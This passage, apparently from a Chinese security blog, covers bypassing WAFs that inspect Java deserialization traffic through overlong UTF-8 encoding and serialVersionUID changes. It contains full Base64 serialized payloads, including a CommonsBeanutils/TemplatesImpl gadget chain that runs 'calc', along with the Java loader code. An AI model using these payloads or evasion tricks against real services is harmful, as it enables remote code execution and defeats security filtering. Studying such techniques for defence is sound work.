wazBpcGjwbTBqcGvwa7Bs8CvwZTBssGhwa7Bs8Gmwa\/BssGtwaXBssC7eHBzcgB0wa\/BssGnwK7BocGwwaHBo8GowaXArsGjwa\/BrcGtwa\/BrsGzwK7Bo8GvwazBrMGlwaPBtMGpwa\/BrsGzwK7BpsG1wa7Bo8G0wa\/BssGzwK7Bg8GowaHBqcGuwaXBpMGUwbLBocGuwbPBpsGvwbLBrcGlwbIwx5fsKHqXBAIAAVsAGsGpwZTBssGhwa7Bs8Gmwa\/BssGtwaXBssGzdABawZvBjMGvwbLBp8CvwaHBsMGhwaPBqMGlwK\/Bo8Gvwa3BrcGvwa7Bs8CvwaPBr8GswazBpcGjwbTBqcGvwa7Bs8CvwZTBssGhwa7Bs8Gmwa\/BssGtwaXBssC7eHB1cgBawZvBjMGvwbLBp8CuwaHBsMGhwaPBqMGlwK7Bo8Gvwa3BrcGvwa7Bs8CuwaPBr8GswazBpcGjwbTBqcGvwa7Bs8CuwZTBssGhwa7Bs8Gmwa\/BssGtwaXBssC7vVYq8dg0GJkCAAB4cAAAAARzcgB2wa\/BssGnwK7BocGwwaHBo8GowaXArsGjwa\/BrcGtwa\/BrsGzwK7Bo8GvwazBrMGlwaPBtMGpwa\/BrsGzwK7BpsG1wa7Bo8G0wa\/BssGzwK7Bg8Gvwa7Bs8G0waHBrsG0wZTBssGhwa7Bs8Gmwa\/BssGtwaXBslh2kBFBArGUAgABTAASwanBg8Gvwa7Bs8G0waHBrsG0dAAkwYzBqsGhwbbBocCvwazBocGuwafAr8GPwaLBqsGlwaPBtMC7eHB2cgAiwarBocG2waHArsGswaHBrsGnwK7BksG1wa7BtMGpwa3BpQAAAAAAAAAAAAAAeHBzcgB0wa\/BssGnwK7BocGwwaHBo8GowaXArsGjwa\/BrcGtwa\/BrsGzwK7Bo8GvwazBrMGlwaPBtMGpwa\/BrsGzwK7BpsG1wa7Bo8G0wa\/BssGzwK7BicGuwbbBr8GrwaXBssGUwbLBocGuwbPBpsGvwbLBrcGlwbKH6P9re3zOOAIAA1sACsGpwYHBssGnwbN0ACbBm8GMwarBocG2waHAr8GswaHBrsGnwK\/Bj8GiwarBpcGjwbTAu0wAFsGpwY3BpcG0wajBr8GkwY7BocGtwaV0ACTBjMGqwaHBtsGhwK\/BrMGhwa7Bp8CvwZPBtMGywanBrsGnwLtbABbBqcGQwaHBssGhwa3BlMG5wbDBpcGzdAAkwZvBjMGqwaHBtsGhwK\/BrMGhwa7Bp8CvwYPBrMGhwbPBs8C7eHB1cgAmwZvBjMGqwaHBtsGhwK7BrMGhwa7Bp8CuwY\/BosGqwaXBo8G0wLuQzlifEHMpbAIAAHhwAAAAAnQAFMGnwaXBtMGSwbXBrsG0wanBrcGlcHQAEsGnwaXBtMGNwaXBtMGowa\/BpHVyACTBm8GMwarBocG2waHArsGswaHBrsGnwK7Bg8GswaHBs8GzwLurFteuy81amQIAAHhwAAAAAnZyACDBqsGhwbbBocCuwazBocGuwafArsGTwbTBssGpwa7Bp6DwpDh6O7NCAgAAeHB2cQB+AB9zcQB+ABZ1cQB+ABsAAAACcHB0AAzBqcGuwbbBr8GrwaV1cQB+AB8AAAACdnIAIMGqwaHBtsGhwK7BrMGhwa7Bp8CuwY\/BosGqwaXBo8G0AAAAAAAAAAAAAAB4cHZxAH4AG3NxAH4AFnVxAH4AGwAAAAF0AAjBo8GhwazBo3QACMGlwbjBpcGjdXEAfgAfAAAAAXEAfgAic3IAIsGqwaHBtsGhwK7BtcG0wanBrMCuwYjBocGzwajBjcGhwbAFB9rBwxZg0QMAAkYAFMGswa\/BocGkwYbBocGjwbTBr8GySQASwbTBqMGywaXBs8Gowa\/BrMGkeHA\/QAAAAAAAAHcIAAAAEAAAAAB4eHZyADzBqsGhwbbBocCuwazBocGuwafArsGhwa7BrsGvwbTBocG0wanBr8GuwK7BksGlwbTBpcGuwbTBqcGvwa4AAAAAAAAAAAAAAHhwcQB+ADM=\");\n    }\n\n    public static Object readObject(String payload) throws IOException, ClassNotFoundException {\n        Base64.Decoder bdec=Base64.getDecoder();\n        byte&#91;] bytes=bdec.decode(payload);\n        ObjectInputStream ois=new ObjectInputStream(new ByteArrayInputStream(bytes));\n        return ois.readObject();\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u8fd9\u5176\u5b9e\u4e5f\u5c31\u662fOverLong Encoding(\u8fc7\u957f\u7f16\u7801)\u5bfc\u81f4\u7684\u7ed5\u8fc7\uff0c\u5927\u5bb6\u53ef\u4ee5\u53bb\u63a2\u7d22\u4e00\u4e0b\u5176\u5b83\u7684\u6f0f\u6d1e\uff0c\u4e5f\u6709\u5f88\u591aUTF OverLong Encoding\u7684\u8eab\u5f71\u3002<\/p>\n\n\n\n<p>\u8fd9\u91cc\u63d0\u4e00\u5634\uff0c\u5176\u5b9e\u5728RFC 3629\u6807\u51c6\u4e2d\u51fa\u73b0\u8fc7\uff0cUTF-8\u7684\u7f16\u7801\u4e2d\u4e0d\u5141\u8bb8\u51fa\u73b0\u4ee5\u4e0bbyte\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20250107164032678.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20250107164032678.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250107164032678\"\/><\/div><\/figure>\n\n\n\n<p>\u800c\u6211\u4eec\u7684\u4e24byte\u7f16\u7801\u5f62\u5f0f\u5176\u5b9e\u7528\u5230\u4e86C0\u6216\u8005C1(\u7b80\u5355\u4fee\u6539\u4e0b\u751f\u6210\u7684\u811a\u672c\u5373\u53ef\u751f\u6210C1\u7684)\uff0c\u4e14\u4e24byte\u7684\u8fc7\u957f\u7f16\u7801\u7ed5\u8fc7\u53ea\u80fd\u4ee5C0,C1\u5f00\u5934\u624d\u80fd\u7b26\u5408\u6761\u4ef6\u3002\u6240\u4ee5\u5bf9\u4e8e\u8fd9\u4e2a\u6807\u51c6\u6765\u8bf4\uff0cJava\u7684\u53cd\u5e8f\u5217\u5316\u6d41\u7a0b\u662f\u4e0d\u7b26\u5408\u6807\u51c6\u7684\uff0c2 byte overlong encoding\u6309\u7167\u6807\u51c6\u662f\u53ef\u4ee5\u907f\u514d\u7684\u3002<\/p>\n\n\n\n<p>\u4e0d\u8fc7\u54ea\u6015\u6309\u7167\u5982\u4eca\u6700\u65b0\u7248\u672c\u7684jdk(23.0.1)\uff0c\u65e0\u8bba\u662f2 byte,3 byte\u7684\u8fc7\u957f\u7f16\u7801\u90fd\u80fd\u6210\u529f\u89e3\u6790\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Trick3. \u4fee\u6539serialVersionUID<\/h2>\n\n\n\n<p>\u4e25\u683c\u6765\u8bf4\u8fd9\u4e0d\u7b97&#8221;\u7ed5WAF&#8221;\u7684Trick\uff0c\u4f46\u662f\u4e2a\u5e38\u7528\u7684\u4e1c\u897f\uff0c\u6240\u4ee5\u6211\u628a\u5b83\u5f52\u5728Trick\u91cc\u3002<\/p>\n\n\n\n<p>Java\u4e2d\u5e8f\u5217\u5316\u53cd\u5e8f\u5217\u5316\u5bf9\u4e8e\u7c7b\u7684<strong>serialVersionUID<\/strong>\u4f1a\u8981\u6c42\u4e00\u81f4\uff0c\u670d\u52a1\u7aef(\u53cd\u5e8f\u5217\u5316\u7aef)\u5fc5\u987b\u8981\u6c42\u62ff\u5230\u540c\u4e00\u7248\u672c\u5bf9\u8c61\u7684\u5e8f\u5217\u5316\u6d41\u624d\u80fd\u6210\u529f\u5e8f\u5217\u5316\u3002<\/p>\n\n\n\n<p>\u5982\u5c06commons-beanutils1.8.3\u4f9d\u8d56\u7684CB\u94fe\u653e\u5728commons-beanutils1.9.2\u7684\u670d\u52a1\u7aef\u53cd\u5e8f\u5217\u5316\u5c31\u4f1a\u62a5\u9519\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -3490850999041592962, local class serialVersionUID = -2044202215314119608\n    at java.io.ObjectStreamClass.initNonProxy(ObjectStreamClass.java:616)<\/code><\/pre>\n\n\n\n<p>Java\u4e2d\u9274\u522b\u7248\u672c\u7684\u5c31\u662f\u8fd9\u4e2aserialVersionUID\u3002<\/p>\n\n\n\n<p>\u5728SerializeJava\u4e2d\uff0c\u6211\u4eec\u53ef\u4ee5\u5229\u7528\u7b2c\u4e09\u4e2a\u6a21\u5757\u6539\u53d8\u5f53\u524d\u6570\u636e\u6d41\u4e2d\u7684serializeVersionUID:<\/p>\n\n\n\n<p>\u8f93\u5165\u5e8f\u5217\u5316\u6d41\u540e\uff0c\u70b9\u51fb<strong>Change Class SerialVerionUID<\/strong>\u7684check\u6309\u94ae\uff0c\u5de5\u5177\u4f1a\u81ea\u52a8\u5bf9\u6570\u636e\u6d41\u7ed3\u6784\u8fdb\u884c\u89e3\u6790\uff0c\u5e76\u628a\u6570\u636e\u6d41\u4e2d\u7684\u7c7b\u540d\u4ee5\u53ca\u5176SerialVerionUID\u5c55\u793a\u5176\u4e2d\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20250107170903349.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20250107170903349.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250107170903349\"\/><\/div><\/figure>\n\n\n\n<p>\u6211\u4eec\u8fd9\u91cc\u628aBeanComparator\u7684\u503c\u6539\u53d8\u6210<strong>-2044202215314119608<\/strong>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20250107171058078.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20250107171058078.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250107171058078\"\/><\/div><\/figure>\n\n\n\n<p>\u6539\u53d8\u540e\u70b9\u51fbchange\uff0c\u518d\u628a\u751f\u6210\u7684\u6570\u636e\u6d41\u653e\u5728\u53cd\u5e8f\u5217\u5316\u7aef\u8dd1\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.demo;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ObjectInputStream;\nimport java.util.Base64;\n\npublic class Unser {\n    public static void main(String&#91;] args) {\n       \/\/readObject(\"rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAAEc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LPjgGC\/k7xfgIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgBAY29tLnN1bi5vcmcuYXBhY2hlLnhtbC5pbnRlcm5hbC5zZWN1cml0eS5jMTRuLmhlbHBlci5BdHRyQ29tcGFyZZ1IoA3i3IaaAgAAeHB0ABBvdXRwdXRQcm9wZXJ0aWVzdwQAAAAFc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAABzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD\/\/\/\/\/dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAABbjK\/rq+AAAANAA0CgAIACQKACUAJggAJwoAJQAoBwApCgAFACoHACsHACwBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEABHRoaXMBAAxMZXZpbF9jbGFzczsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAA9ldmlsX2NsYXNzLmphdmEMAAkACgcALgwALwAwAQAEY2FsYwwAMQAyAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMwAKAQAKZXZpbF9jbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAADAAEACQAKAAEACwAAAHwAAgACAAAAFiq3AAG4AAISA7YABFenAAhMK7YABrEAAQAEAA0AEAAFAAMADAAAABoABgAAAAoABAAMAA0ADwAQAA0AEQAOABUAEAANAAAAFgACABEABAAOAA8AAQAAABYAEAARAAAAEgAAABAAAv8AEAABBwATAAEHABQEAAEAFQAWAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAATAA0AAAAgAAMAAAABABAAEQAAAAAAAQAXABgAAQAAAAEAGQAaAAIAGwAAAAQAAQAcAAEAFQAdAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAXAA0AAAAqAAQAAAABABAAEQAAAAAAAQAXABgAAQAAAAEAHgAfAAIAAAABACAAIQADABsAAAAEAAEAHAABACIAAAACACNwdAAKZXZpbF9jbGFzc3B3AQB4c3EAfgAJAAAAFnEAfgAQeA==\");\n        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